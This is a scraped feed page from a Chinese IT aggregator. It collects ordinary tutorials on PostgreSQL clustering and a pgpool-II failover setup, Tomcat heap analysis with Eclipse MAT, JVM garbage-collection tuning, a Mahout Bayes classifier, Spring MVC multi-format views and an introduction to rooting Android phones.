Quantcast
Channel: IT社区推荐资讯 - ITIndex.net
Viewing all 15843 articles
Browse latest View live

[转]PostgreSQL 集群/热备方案

$
0
0

集群解决的负载能力的问题,要求就是能增加服务器(群)的吞吐量和响应速度。

热备解决的是服务连续性(高可用性)的问题。

不是所有的模块都需要集群,也不是所有服务都需要热备。

下面是现有的基于postgreSQL的集群/热备方案列表。


1, pgpool

一个中间件,介于PostgreSQL Server和PostgresSQL database client之间。

具有一下特性:
* Connection Pooling(连接池管理),
* Replication(备份),
* Load Balance(负载均衡), 
* Limiting Exceeding Connection(连接数限制)
* Parallel Query(并发查询)

BSD licensed, 不支持windows.

一个异步的主从复制系统,基于PostgreSQL,不能用于热备。

2, Slony

Slony 是一种异步的主从(master-slave)数据库复制方案,支持一主多从结构,支持cascading。
该解决方案适用于备份(非热备)。 PostgreSQL 9.0提供异步的复制方案, streaming replication

BSD licensed,

3, GridSQL

GridSQL是一个基于java的 shared nothing集群系统, 包含加速查询的负载均衡机制, Designed for Parallel Querying,基于key hash.
无心跳检测和灾备功能。

GPL licensed.

4, plproxy

一个数据库分页系统,实现基于一种pl语言设计。
对于数据操作需要使用其pl语言,pl类似于SQL.
支持水平分片,支持基于查询的负载均衡。

5, PGCluster

PGCluster是一个多主数据库同步复制工具,基于shared-nothing架构。

可以用于热备。
BSD licensed.

PGCluster的主要特性是防止数据丢失,同时也提供读操作负载均衡,但是实际应用中实施不多。

PGCluster intended features:

HA

  • DB Service does not stop during fail over, auto recovery, dynamic add and upgrade server etc.
  • No Single point of failure.
  • Auto adjust data transfer speed based on network bandwidth.
  • Load balance server and monitoring server are including.
Synchronous multi‐master configuration
  • Any update to any master is visible from other masters immediately.
  • No change in transaction handling.
  • Value of now() and random() are replicated.

6, PostgreSQL 9 streaming replication

Streaming replication 是PostgreSQL 9.0里面引入的数据库复制机制,异步的。不提供集群机制。不能用于热备。

7, PgBouncer

作者:u013526896 发表于2014-4-23 10:15:41 原文链接
阅读:55 评论:0 查看评论

使用pgpool-ii 搭建postgresql 高可用、负载均衡架构

$
0
0
pgpool有很多功能,其中最重要的我觉得是如下几个:提供连接池(负载均衡模式),复制模式(能通过pgpool分发sql,因此是基于sql语句的分发复制),主备模式(依赖其他的复制,如snoly和流复制,但pgpool能把客户端的sql请求根据sql是查询还是修改发送到备库或主库),并行模式(其实就是把表水平拆分到各个数据节点,一条sql查询时需要从多个数据节点查询数据),本文是用主备模式来搭建pg的高可用和负载均衡集群。
要搭建基于postgresql的高可用、负载均衡的数据库集群架构,还有很多技术,如postgres-xc,但本文以最常用的postgresql的主备模式(主库加流复制为例来搭建,1主库+多备库,实现高可用和负载均衡)。高可用即一个节点宕机不影响整体业务运行,负载均衡是指客户端发过来的链接请求能均匀的分布到各个数据节点,负载均衡的时候需要考虑到主库和备库是不同的,主库可读可写而备库只能读,因此select语句可以发往主库和备库,而update、insert、delete等要在主库执行,别的负载均衡软件如lvs是做不到的,但pgpool可以检测sql语句,自动发往不同的节点。
本文用pgpool-ii来实现高可用和读写分离的负载均衡。
1.按照postgresql9.3 ,步骤略
主机名 ip 功能
pgtest5 10.1.1.14 主库
pgtest6 10.1.1.15 备库和pgpool-ii

2.配置流复制:
略,流复制用户为repl用户

3.下载pgpool-ii,目前最新的版本为3.3.2,下载地址为: http://www.pgpool.net/mediawiki/index.php/Downloads

4.安装pgpool-ii
我下载的是rpm包,上传到虚拟机里直接rpm -ivh安装即可:
[root@pgtest6 pgpool]# pwd
/opt/soft/pgpool
[root@pgtest6 pgpool]# ls
pgpool-II-pg93-3.3.2-1.pgdg.x86_64.rpm
[root@pgtest6 pgpool]#rpm -ivh pgpool-II-pg93-3.3.2-1.pgdg.x86_64.rpm

安装完成后查看安装路径:
[root@pgtest6 pgpool]# rpm -qa|grep pgpool
pgpool-II-pg93-3.3.2-1.pgdg.x86_64
[root@pgtest6 pgpool]# rpm -ql pgpool-II-pg93-3.3.2-1.pgdg.x86_64
/etc/pgpool-II-pg93/pcp.conf
/etc/pgpool-II-pg93/pgpool.conf
/etc/pgpool-II-pg93/pgpool.conf.sample-master-slave
/etc/pgpool-II-pg93/pgpool.conf.sample-replication
/etc/pgpool-II-pg93/pgpool.conf.sample-stream
/etc/pgpool-II-pg93/pool_hba.conf 
...
默认配置文件都在/etc/pgpool-II-pg93目录下了,其中我们要配置pgpool.conf和pcp.conf
公共部分的配置:
listen_addresses = '*'
port = 9999
socket_dir = '/tmp'
pcp_port = 9898
pcp_socket_dir = '/tmp'
backend_hostname0 = '10.1.1.14'
backend_port0 = 5432
backend_weight0 = 1
backend_data_directory0 = '/postgres/data'
backend_flag0 = 'ALLOW_TO_FAILOVER'
backend_hostname1 = '10.1.1.15'
backend_port1 = 5432
backend_weight1 = 1
backend_data_directory1 = '/postgres/data'
backend_flag1 = 'ALLOW_TO_FAILOVER'
enable_pool_hba = on
pool_passwd = '123456'
authentication_timeout = 60
ssl = on
log_destination = 'stderr'                             
print_timestamp = on
log_connections = on
log_hostname = on
log_statement = on
log_per_node_statement = on
log_standby_delay = 'if_over_threshold'
syslog_facility = 'LOCAL0'
syslog_ident = 'pgpool'
debug_level = 1
pid_file_name = '/var/run/pgpool/pgpool.pid'                              
logdir = '/tmp'
#要开启负载均衡,需要设置:
load_balance_mode = on
#要设置主备模式,需要设置:
master_slave_mode = on
master_slave_sub_mode = 'stream'
#要设置主库宕机好备库能自动接管主库,需要设置:
sr_check_period = 10
sr_check_user = 'repl'
sr_check_password = '123456'
delay_threshold = 10000000
health_check_period = 1
health_check_timeout = 20
health_check_user = 'postgres'
health_check_password = '123456'
health_check_max_retries = 0
health_check_retry_delay = 1
failover_command = '/etc/pgpool-II/failover_stream.sh %d %H /postgres/data/trigger.file'  #其中这个文件failover_stream.sh需要定义
#另外并行模式需要关闭:
parallel_mode = off

主库故障后,备库切换成主库的触发文件如下:
[root@pgtest6 pgpool-II-pg93]# more failover_stream.sh 
#! /bin/sh
# Failover command for streaming replication.
# This script assumes that DB node 0 is primary, and 1 is standby.
# If standby goes down, do nothing. If primary goes down, create a
# trigger file so that standby takes over primary node.
#
# Arguments: $1: failed node id. $2: new master hostname. $3: path to
# trigger file.
failed_node=$1
new_master=$2
trigger_file=$3
# Do nothing if standby goes down.
if [ $failed_node = 1 ]; then
exit 0;
fi
# Create the trigger file.
/usr/bin/ssh -T $new_master /bin/touch $trigger_file
exit 0;
因此,在pg的postgresql.conf中要贺pgpool参数文件的定义( /postgres/data/trigger.file)一致

配置pcp.conf,添加如下用户及密码:
postgres:e8a48653851e28c69d0506508fb27fc5 (密码可以用pg_md5 xxx来生成)

5.配置互信(root用户,pgpool需要在主库故障后登录到备库主机上创建triger文件)
过程略

6.启动pg及pgpool-ii
[root@pgtest6 pgpool-II-pg93]# pgpool -n -d > /tmp/pgpool.log 2>&1 &
[1] 1651
 
/home/postgres@pgtest5$psql -h pgtest6 -U postgres -p 9999
psql (9.3.1)
Type "help" for help.

postgres=# show pool_status;
....
postgres=# show pool_nodes;
node_id | hostname  | port | status | lb_weight |  role  
---------+-----------+------+--------+-----------+---------
0       | 10.1.1.14 | 5432 | 2      | 0.500000  | standby
1       | 10.1.1.15 | 5432 | 2      | 0.500000  | primary
其中status的状态意义如下:
0:从未使用,直接忽略
1:server已经启动,但是连接池中没有连接
2:server已经启动,并且在连接池中存在连接
3:server没有启动或者联系不上

我们在pgtest6上启动pgpool后,发现有30个空闲链接:
[root@pgtest6 pgpool-II-pg93]# ps -ef|grep pgpool
root      1651  1510  0 11:20 pts/0    00:00:00 pgpool -n -d
root      1652  1651  0 11:20 pts/0    00:00:00 pgpool: wait for connection request
root      1653  1651  0 11:20 pts/0    00:00:00 pgpool: wait for connection request
root      1654  1651  0 11:20 pts/0    00:00:00 pgpool: wait for connection request
...

而在pgtest5上,我们没有连接,但通过ps命令我们可以看到已经有客户端链接了(应该是pgpool连过来的)
[root@pgtest5 ~]# ps -ef|grep post
root      1898  1816  0 11:20 pts/0    00:00:00 su - postgres
postgres  1899  1898  0 11:20 pts/0    00:00:00 -bash
postgres  1927     1  0 11:20 pts/0    00:00:00 /usr/local/pgsql/bin/postgres
postgres  1928  1927  0 11:20 ?        00:00:00 postgres: startup process   recovering 00000003000000000000001C
postgres  1929  1927  0 11:20 ?        00:00:00 postgres: checkpointer process   
postgres  1930  1927  0 11:20 ?        00:00:00 postgres: writer process     
postgres  1931  1927  0 11:20 ?        00:00:00 postgres: stats collector process   
postgres  1932  1927  0 11:20 ?        00:00:00 postgres: wal receiver process   streaming 0/1C005000
postgres  2072  1899  0 11:22 pts/0    00:00:00 psql
postgres  2076  1927  0 11:22 ?        00:00:00 postgres: postgres db_test [local] idle
postgres  2193  1927  0 11:24 ?        00:00:00 postgres: postgres postgres 10.1.1.15(33372) idle
postgres  2306  1927  0 11:26 ?        00:00:00 postgres: postgres postgres 10.1.1.15(33547) idle
root      2313  2231  0 11:26 pts/1    00:00:00 grep post

测试:
先在pgtest6(主库)上插入数据,看流复制是否正常:
db_test=# select * from t1;
 id | name 
----+------
(0 rows)
db_test=# insert into t1 values (1000,'aaa');
INSERT 0 1
db_test=# select * from t1;
  id  | name 
------+------
 1000 | aaa
(1 row)

pgtest5(备库)查询:
db_test=# select * from t1;
  id  | name 
------+------
 1000 | aaa
(1 row)
用pgbench连接查看负载均衡是否起效:
/tmp@pgtest5$pgbench -i -F 100 -s 10 -h pgtest6 -U postgres db_test
creating tables...
100000 of 1000000 tuples (10%) done (elapsed 0.16 s, remaining 1.44 s).
200000 of 1000000 tuples (20%) done (elapsed 0.63 s, remaining 2.52 s).
300000 of 1000000 tuples (30%) done (elapsed 1.24 s, remaining 2.90 s).
400000 of 1000000 tuples (40%) done (elapsed 2.06 s, remaining 3.09 s).
500000 of 1000000 tuples (50%) done (elapsed 2.79 s, remaining 2.79 s).
600000 of 1000000 tuples (60%) done (elapsed 4.16 s, remaining 2.77 s).
700000 of 1000000 tuples (70%) done (elapsed 7.50 s, remaining 3.21 s).
800000 of 1000000 tuples (80%) done (elapsed 8.23 s, remaining 2.06 s).
900000 of 1000000 tuples (90%) done (elapsed 10.79 s, remaining 1.20 s).
1000000 of 1000000 tuples (100%) done (elapsed 12.00 s, remaining 0.00 s).
vacuum...
set primary keys...
done.
/tmp@pgtest5$pgbench -c 25 -j 25 -M prepared -n -s 500 -T 60 -f select.sql -h pgtest6 -p 9999 -U postgres db_test
/tmp@pgtest5$pgbench -c 25 -j 25 -M prepared -n -s 500 -T 60 -f select.sql -h pgtest6 -p 9999 -U postgres db_test
transaction type: Custom query
scaling factor: 500
query mode: prepared
number of clients: 25
number of threads: 25
duration: 60 s
number of transactions actually processed: 70523
tps = 1174.801298 (including connections establishing)
tps = 1176.777098 (excluding connections establishing)
通过ps命令查看,pgtest5和pgtest6上分别由30个客户端连接

测试故障切换:
现在我关闭主库(pgtest6),看是否能正常切换:
目前pgtest6为主库,关闭后pgtest5会自动切换为备库。

一次使用Eclipse Memory Analyzer分析Tomcat内存溢出

$
0
0


前言

在平时开发、测试过程中、甚至是生产环境中,有时会遇到OutOfMemoryError,Java堆溢出了,这表明程序有严重的问题。我们需要找造成OutOfMemoryError原因。一般有两种情况:

1、内存泄露,对象已经死了,无法通过垃圾收集器进行自动回收,通过找出泄露的代码位置和原因,才好确定解决方案;
2、内存溢出,内存中的对象都还必须存活着,这说明Java堆分配空间不足,检查堆设置大小(-Xmx与-Xms),检查代码是否存在对象生命周期太长、持有状态时间过长的情况。
以上是处理Java堆问题的思路,具体是怎么进行分析,这里介绍的是使用Eclipse Memory Analyzer tool(MAT)工具分析的过程。

 

生成dump文件

     通过jvm参数--XX:-HeapDumpOnOutOfMemoryError可以让JVM在出现内存溢出是Dump出当前的内存转储快照;
     或者,用jmap生产dump文件,win通过任务管理器查看tomcat的进程pid,linux用ps命令查看进程pid,然后用jmap命令(Java5:jmap -heap:format=b <pid>;Java6:jmap -dump:format=b,file=HeapDump.bin <pid>)。
    
     我这里使用的是,我一生产环境项目,运行一段时间大概3周的样子,就会报OutOfMemoryError。(ps:这个项目出现这种情况已经有好长一段时间了,我们之前的做法是定期的重启tomcat,没有去分析它的原因。)JDK64位主要参数:-Xmx3078M -Xms3078M -XX:PermSize=1024M -XX:MaxPermSize=1024M,内存还是蛮大的。

 

 

MAT安装与介绍
     下载地址:http://www.eclipse.org/mat/downloads.php。
     通过MAT打开dump出来的内存文件,打开后如下图:


 
     
     从上图可以看到它的大部分功能。
     1. Histogram可以列出内存中的对象,对象的个数以及大小。
     2. Dominator Tree可以列出那个线程,以及线程下面的那些对象占用的空间。
     3.Top consumers通过图形列出最大的object。
     4.Leak Suspects通过MA自动分析泄漏的原因。
     
     Histogram如下图:
     Objects:类的对象的数量。
     Shallow size:就是对象本身占用内存的大小,不包含对其他对象的引用,也就是对象头加成员变量(不是成员变量的值)的总和。
     Retained size:是该对象自己的shallow size,加上从该对象能直接或间接访问到对象的shallow size之和。换句话说,retained size是该对象被GC之后所能回收到内存的总和。
     我们发现ThreadLocal和bingo.persister.dao.Daos类的对象占用了很多空间。



 
 
     Dominator Tree如下图:
     我们发现quartz的定时器的工作线程(10个)占了很多的内存空间

 



 


 

     Top consumers如下图:
     这里显示了内存中最大的对象有哪些,他们对应的类是哪些,类加载器classloader是哪些。
     有些时候,我们在这里就可以看到代码泄露的位置。


 
 

 
     Leak Suspects如下图:
     从那个饼图,该图深色区域被怀疑有内存泄漏,可以发现整个heap才250M内存,深色区域就占了34%。后面的描述,告诉我们quartz线程占用了大量内存,并指出system class loader加载的"java.lang.ThreadLocal"实例的内存中聚集(消耗空间),并建议用关键字"java.lang.ThreadLocal$ThreadLocalMap$Entry[]"进行检查。所以,MAT通过简单的报告就说明了问题所在。


 
 

 
通过Leak Suspects的Problem Suspect 1点击【Details »】,
如下图如下图所示的上下文菜单中选择 List objects -> with outgoning references, 查看ThreadLocal都应用了些什么对象。

 

 

 
现在看到ThreadLocal中引用的对象如下图:
是dao对象
ps:该dao对象包含一个轻量级的ORM关系内容,所以Retained size比较大


 
 
下面继续查看dao的gc ROOT
如下图所示的上下文菜单中选择 Path To GC Roots -> exclude weak references, 过滤掉弱引用,因为在这里弱引用不是引起问题的关键。

 


  

 
从下图中,可以看到在org.quartz.simpl.SimpleThreadPool中保存了daos的引用。所以可以得出是是因为定时器在运行的过程中持有大量的Daos对象应起了内存泄露。为什么会有那么多的Daos呢,Daos不是一个无状态的单例的、可以重用的吗?继续查看spring配置文件发现Daos的bean配置成scope="prototype",导致定时任务又是每次调用都生产新的Daos实例。由于是Daos是无状态的,修改为单例的,问题解决。

 


 
 
以上是通过MAT分析Tomcat应用程序,找到内存泄露的原因,并解决。

 

 

 



已有 4人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



JVM的参数设置的一个要点

$
0
0

 

 JVM参数的设置(特别是 –Xmx –Xms –Xmn -XX:SurvivorRatio -XX:MaxTenuringThreshold等参数的设置没有一个固定的公式,需要根据PV old区实际数据 YGC次数等多方面来衡量。为了避免promotion faild可能会导致xmn设置偏小,也意味着YGC的次数会增多,处理并发访问的能力下降等问题。每个参数的调整都需要经过详细的性能测试,才能找到特定应用的最佳配置。
    promotion failed:
    垃圾回收时promotion failed是个很头痛的问题,一般可能是两种原因产生,第一个原因是救助空间不够,救助空间里的对象还不应该被移动到年老代,但年轻代又有很多对象需要放入救助空间;第二个原因是年老代没有足够的空间接纳来自年轻代的对象;这两种情况都会转向Full GC,网站停顿时间较长。
    解决方方案一:
    第一个原因我的最终解决办法是去掉救助空间,设置-XX:SurvivorRatio=65536 -XX:MaxTenuringThreshold=0即可,第二个原因我的解决办法是设置CMSInitiatingOccupancyFraction为某个值(假设70),这样年老代空间到70%时就开始执行CMS,年老代有足够的空间接纳来自年轻代的对象。
    解决方案一的改进方案:
    又有改进了,上面方法不太好,因为没有用到救助空间,所以年老代容易满,CMS执行会比较频繁。我改善了一下,还是用救助空间,但是把救助空间加大,这样也不会有promotion failed。具体操作上,32位Linux和64位Linux好像不一样,64位系统似乎只要配置MaxTenuringThreshold参数,CMS还是有暂停。为了解决暂停问题和promotion failed问题,最后我设置-XX:SurvivorRatio=1 ,并把MaxTenuringThreshold去掉,这样即没有暂停又不会有promotoin failed,而且更重要的是,年老代和永久代上升非常慢(因为好多对象到不了年老代就被回收了),所以CMS执行频率非常低,好几个小时才执行一次,这样,服务器都不用重启了。


    CMSInitiatingOccupancyFraction值与Xmn的关系公式
   
    上面介绍了promontion faild产生的原因是EDEN空间不足的情况下将EDEN与From survivor中的存活对象存入To survivor区时,To survivor区的空间不足,再次晋升到old gen区,而old gen区内存也不够的情况下产生了promontion faild从而导致full gc.那可以推断出:eden+from survivor < old gen区剩余内存时,不会出现promontion faild的情况,即:



 
    (Xmx-Xmn)*(1-CMSInitiatingOccupancyFraction/100)>=(Xmn-Xmn/(SurvivorRatior+2)) 进而推断出:
    CMSInitiatingOccupancyFraction <=((Xmx-Xmn)-(Xmn-Xmn/(SurvivorRatior+2)))/(Xmx-Xmn)*100
    例如:
    当xmx=128 xmn=36 SurvivorRatior=1时 CMSInitiatingOccupancyFraction<=((128.0-36)-(36-36/(1+2)))/(128-36)*100 =73.913
    当xmx=128 xmn=24 SurvivorRatior=1时 CMSInitiatingOccupancyFraction<=((128.0-24)-(24-24/(1+2)))/(128-24)*100=84.615…
    当xmx=3000 xmn=600 SurvivorRatior=1时 CMSInitiatingOccupancyFraction<=((3000.0-600)-(600-600/(1+2)))/(3000-600)*100=83.33
    CMSInitiatingOccupancyFraction低于70% 需要调整xmn或SurvivorRatior值。



已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



【甘道夫】通过Mahout构建贝叶斯文本分类器案例详解

$
0
0
背景&目标:
1、sport.tar 是体育类的文章,一共有10个类别;
   用这些原始材料构造一个体育类的文本分类器,并测试对比bayes和cbayes的效果;
   记录分类器的构造过程和测试结果。
2、user-sport.tar 是用户浏览的文章,每个文件夹对应一个用户;
   利用上题构造的文本分类器,计算每个用户浏览各类文章的占比;
   记录计算过程和结果。


实验环境:
Hadoop-1.2.1
Mahout0.6
Pig0.12.1
Ubuntu12
Jdk1.7


原理&流程
建立文本分类器:
1.分类体系的确定
2.文本样本的积累
3.文本的预处理(分词)
4.划分训练集,测试集
5.对模型的训练
6.对模型准确性测试

测试分类器模型时,如果觉得模型效果不够满意,可以对过程进行调整,然后重新生成模型。
可调整的方面包括:
  1. 积累更多,更有具代表性的样本;
  2. 在文本预处理阶段选择更好的分词算法;
  3. 在训练分类器时,对训练参数进行调整。
不断重复以上过程,直到得到满意的模型为止。

对文本进行分类:
建立完文本分类器以后,就可以输入一个文本,输出一个分类。


Step1:将所需用到的原始数据sport和user-sport文件夹上传到hdfs

sport文件夹:
  • 用于训练文本分类器
  • 包含了多个子文件夹,每个子文件夹都是一个分类的文章
  • 在现实项目中,该原始数据需要人工收集
user-sport:
  • 待分类的文本





注意:user-sport文件夹下的子文件夹名称是用户id,子文件夹内包含了多个文本文件,都是该用户浏览过的文章。


step2:对sport文件夹进行分词
用到MRTokenize.jar中的tokenize.TokenizeDriver









到此为止,原始数据已经分好词,并且已经处理成Mahout训练文本分类器要求的输入格式:
  • 每行一篇文章
  • 每行的格式为:分类名称 文章分词结果


Step3:划分训练集和测试集
我们把经过分词处理的原始数据划分为训练集和测试集,训练集用于训练模型,测试集用于测试模型效果。
该过程通过pig实现:
grunt> processed = load'/dataguru/hadoopdev/week8/fenciout/part-r-00000' as (category:chararray,doc:chararray);
grunt> test = sample processed 0.2;
grunt> jnt = join processed by (category,doc) left outer, test by (category,doc);
grunt> filt_test = filter jnt by test::category is null;
grunt> train = foreach filt_test generate processed::category as category,processed::doc as doc;
grunt> store test into '/dataguru/hadoopdev/week8/test';

grunt> store train into '/dataguru/hadoopdev/week8/train';

结果截图:
 


Step4:训练贝叶斯模型
我们分别训练bayes模型和cbayes模型,后面测试两者的效果做对比。

首先训练bayes模型:
casliyang@singlehadoop:~$ mahout trainclassifier -i /dataguru/hadoopdev/week8/train -o /dataguru/hadoopdev/week8/model-bayes -type bayes -ng 1 -source hdfs

 
然后训练cbayes模型:
casliyang@singlehadoop:~$ mahout trainclassifier -i /dataguru/hadoopdev/week8/train -o /dataguru/hadoopdev/week8/model-cbayes -type cbayes -ng 1 -source hdfs

训练结果:
 


Step5:测试模型
测试贝叶斯模型命令如下:
casliyang@singlehadoop:~$ mahout testclassifier -d /dataguru/hadoopdev/week8/test -m /dataguru/hadoopdev/week8/model-bayes -type bayes -ng 1 -source hdfs -method mapreduce

测试结果:
 

测试C贝叶斯模型命令如下:
casliyang@singlehadoop:~$ mahout testclassifier -d /dataguru/hadoopdev/week8/test -m /dataguru/hadoopdev/week8/model-cbayes -type cbayes -ng 1 -source hdfs -method mapreduce

测试结果:
 


Step5:处理待分类数据
我们的待分类数据全存储在user-sport文件夹下,每个子文件夹都存储了一个用户浏览过的文章,子文件夹的名称就是用户id:
 



Mahout的文本分类器要求输入数据为分词后的文章,我们直接使用训练分类器时用到的MRTokenize.jar中的tokenize.TokenizeDriver来对文章进行分词,输出格式为:
  • 每行一篇文章
  • 每行的格式为:用户ID 文章分词结果

执行命令对待分类数据进行分词:
casliyang@singlehadoop:~/Myfiles$ hadoop jar MRTokenize.jar tokenize.TokenizeDriver /dataguru/hadoopdev/week8/user-sport /dataguru/hadoopdev/week8/user-sport-fenciout

结果:
 


Step6:Hadoop环境下,对待分类数据进行分类,并统计每个用户浏览每个分类的次数
Hadoop环境下调用Mahout分类器的程序细节参见:
第八周(4)文本挖掘-贝叶斯-Mahout
将程序打jar包后拷贝到集群上执行。

执行命令对待分类数据进行分类:
casliyang@singlehadoop:~/Myfiles$ hadoop jar MRClassify.jar classifier.ClassifierDriver /dataguru/hadoopdev/week8/user-sport-fenciout /dataguru/hadoopdev/week8/user-sport-bayesout /dataguru/hadoopdev/week8/model-bayes bayes

说明:
参数1:输入路径,即上一步分词处理好的待分类的文章存储路径
参数2:输出路径,即统计好的用户浏览各个分类的数量
参数3:模型所在路径
参数4:模型的算法



分类并统计的结果:
 
结果的每行格式:用户ID | 分类 | 浏览次数



Step6:处理上一步的输出数据,得到每个用户访问次数最多的分类
使用pig处理:
grunt> u_ct = load'/dataguru/hadoopdev/week8/user-sport-bayesout' using PigStorage('|') as (user:chararray, category:chararray, times:int);
grunt> u_stat = foreach(group u_ct by user)
>> {
>> sorted = order u_ct by times desc;
>> top = limit sorted 1;
>> generate flatten(top),SUM(u_ct.times);
>> };
grunt> store u_stat into '/dataguru/hadoopdev/week8/user-sport-pigout'; 

结果(第一列是用户id,第二列是浏览量最多的类别,第三列是该类别的浏览次数,第四列是该用户总共的浏览量):
 
作者:u010967382 发表于2014-5-9 10:12:48 原文链接
阅读:67 评论:0 查看评论

Spring 3 mvc中返回pdf,json,xml等不同的view

$
0
0
源:http://jackyrong.iteye.com/blog/1874918
评:
  spring mvc就是好,特别是rest风格的话,一个
org.springframework.web.servlet.view.ContentNegotiatingViewResolver就可以根据不同的场景返回不同的view了,比如返回json,xml,pdf等.马上看代码实现

先是一个简单的pojo
Java代码  收藏代码

    package com.hmkcode.vo; 
      
    import javax.xml.bind.annotation.XmlRootElement; 
      
    @XmlRootElement(name = "person") 
    public class Person { 
      
        private int id; 
        private String name; 
        public int getId() { 
            return id; 
        } 
        public void setId(int id) { 
            this.id = id; 
        } 
        public String getName() { 
            return name; 
        } 
        public void setName(String name) { 
            this.name = name; 
        } 
        public String toString(){ 
            return "ID: "+id+" - Name: "+name; 
        } 
      
    } 


   注意使用@XmlRootElement标签之。

然后是controller:
 
Java代码  收藏代码

    @Controller 
    public class MyController { 
      
        @RequestMapping("/view") 
        public Person getPerson(Model model){ 
            Person person = new Person(); 
            person.setId(1); 
            person.setName("test"); 
            model.addAttribute("person",person); 
            return person; 
        } 



  然后分别假设要导出为PDF的view,引入著名的itext了;
Java代码  收藏代码

    public class PdfView extends AbstractPdfView { 
      
        protected void buildPdfDocument( 
            Map model, 
            Document doc, 
            PdfWriter writer, 
            HttpServletRequest req, 
            HttpServletResponse resp) 
            throws Exception { 
      
          
            Person person = (Person) model.get("person"); 
            doc.add( new Paragraph(person.toString())); 
      
        } 


   这里演示简单往itext中写入一个输出而已;

然后是web.xml:

Java代码  收藏代码

    <servlet> 
            <servlet-name>springmvc</servlet-name> 
            <servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class> 
            <load-on-startup>1</load-on-startup> 
        </servlet> 
      
        <servlet-mapping> 
            <servlet-name>springmvc</servlet-name> 
            <url-pattern>/rest/*</url-pattern> 
        </servlet-mapping> 


  最核心的配置来了:

Java代码  收藏代码

       <bean class="org.springframework.web.servlet.view.ContentNegotiatingViewResolver"> 
    <property name="order" value="1" /> 
    <property name="mediaTypes"> 
      <map> 
         <entry key="json" value="application/json" /> 
         <entry key="xml" value="application/xml" /> 
         <entry key="pdf" value="application/pdf" /> 
     
      </map> 
    </property> 
     
    <property name="defaultViews"> 
      <list> 
        <!-- JSON View --> 
        <bean 
          class="org.springframework.web.servlet.view.json.MappingJacksonJsonView"> 
        </bean> 
        <!--  XML view --> 
          <bean class="org.springframework.web.servlet.view.xml.MarshallingView"> 
          <constructor-arg> 
              <bean class="org.springframework.oxm.jaxb.Jaxb2Marshaller"> 
                 <property name="classesToBeBound"> 
                  <list> 
                     <value>com.test.Person</value> 
                  </list> 
                 </property> 
              </bean> 
          </constructor-arg> 
        </bean> 
        <!--  PDF view --> 
        <bean class="com.test.PdfView"> 
     
          </bean> 
       </list> 
    </property> 
    <property name="ignoreAcceptHeader" value="true" /> 
     
    t;/bean> 


 
   可以看到,其中使用的是:
org.springframework.web.servlet.view.ContentNegotiatingViewResolver,对其pdf,xml.json进行分别的view设置,JSON用的是著名的jackyson去解析了;

最后,通过rest风格的地址,比如http://localhost/view/view.json,返回json;
http://localhost/view/view.pdf,则导出到pdf,http://localhost/view/view.xml,
返回前端就xml了,真的十分方便呀

已有 0人发表留言,猛击->> 这里<<-参与讨论


ITeye推荐



Android手機一鍵 Root ,取回完整控制權

$
0
0
當我們購買新手機的時候,當然希望能玩到一些最新最炫的應用,然後每次Android推出的更新版本都應該要能夠跟得上升級,這些都是廠商理所當然該提供的。

但是對於一、兩年以上的舊手機來說,可能就成為被遺棄的孤兒了。新的更新不是沒你的份,就是裝了更新後系統被拖累,然後整個系統裡頭裝了一堆廠商當初預載的官方工具,結果現在這些工具連官方都沒在維護,卻在你的手機裡頭佔空間。

手機還是新歡的時候,保養維修當然是靠廠商。但是當手機變成舊愛之後,要讓手機重新恢復光彩就得靠自己了。由於Android的開放特性,原本預設就有一個「最高權限」的設計,可以讓你以管理員的身份來取得手機的完整控制權。但是各家廠商大多都不希望你取得這個權限,因此就有很多玩家會想要「Root」手機。

但是市面上Android手機款式那麼多,每一款手機的Root方式也不一定相同,所以並沒有統一的方法可以一次Root搞定所有的手機。因此在這次的專題我們就針對目前的Root工具以及方法來介紹,讓新手也能快速理解如何著手Root的第一步。

▲Root手機的工具多半都以中國廠商的軟體居多,Root之後你的手機可以使用更多的工具以及控制權。

什麼是Root

首先必須知道的是,大多數廠商對於Root都是持反對的立場,Root之後的手機廠商多半就不提供保固。而且Root並不是百分之百可以成功的,如果程序出錯,有可能會造成手機無法開機之類的狀況。因此,最好不要那麼大膽的拿新手機來嘗試,最好還是用兩、三年以上已經過保固期,失敗也不心疼的舊手機來練習。

理解Bootloader與Root

Bootloader是Android在進入系統之前的一段指令碼,這個指令碼是用來告訴機器,宣告從哪裡進入作業系統。而許多廠商都把裝置的Bootloader這一段鎖起來,藉此來避免別人亂動機器。如果你解鎖Bootloader,廠商都會視為喪失原廠保固。

至於Root則是取得系統的最高管理權限,透過取得權限,你就可以破除廠商對系統加諸的限制,像是可以刪除廠商不讓你刪的檔案、存取硬體一些被限制的功能,變更系統的檔案等等。在Root的過程,會在你的裝置上安裝一個SuperUser的管理程式,這個程式可以用來控管那些想要取得Root管理權限的應用程式,以防止有惡意程式也取得你裝置上的最高權限,作為系統的權限控管。

在過去,你要Root的話,就必須先要進入Bootloader模式來解鎖,但解鎖的話就會喪失原廠保固,因此會讓很多人感到有些擔心。不過現在新的Root技術,已經可以在不解鎖Bootloader的情況下,完成Root的工作,因此「可能」可以達到在維持原廠保固的情況下,完成Root的工作(依照機種不同而情況不同)。

▲Root後的手機可以取得超級管理員的權限。

▲這是HTC手機的Bootloader模式。

為什麼廠商不讓你Root

為什麼各家廠商都不希望你Root?最主要是因為手機在出廠時,廠商都調整到最佳的狀態,讓你在他們規範的範圍內,合理地使用手機的硬體功能。但是Root之後你的限制沒有了,比方說你對手機的CPU亂超頻,容易導致硬體發生故障。

第二點則是Root之後的手機,如果裝了一些惡意App,這些App同樣可以取得管理者的權限,如此一來這些App就可以藉此來偷窺你的隱私資料,甚至安裝更多的惡意軟體。

要注意的是,廠商雖然無法阻止你Root手機,但是當你Root手機之後,廠商都先明文規定他們是不提供產品的保固的。而且Root手機一定有風險,如果你Root之後手機出了什麼問題,又沒有保固,手機可能就成為磚頭了。因此建議你只能把不是很重要的手機拿來嘗試Root玩玩,如果是很重要的手機,還是不要Root的好。

Root與「刷機」是兩回事

前面說過,由於Root有風險,重要的手機還是不要拿來嘗試。對於三、四年以上,廠商已經停止更新的舊手機,倒是可以拿來試試。

過去Root手機的手續比較困難,不過手法改良到現在,已經有很多網站都推出所謂「一鍵Root」的工具,把複雜的步驟包在一起自動執行,把手續的難度降低,減少出錯的頻率。但是因為Android手機型號眾多,依然不一定能保證所有的手機都能Root成功,只是大大提高了成功的機率。

Root之後可以做的事情

Root取得了手機管理員權限後,到底能做什麼事呢?一般玩家主要會有以下五點:

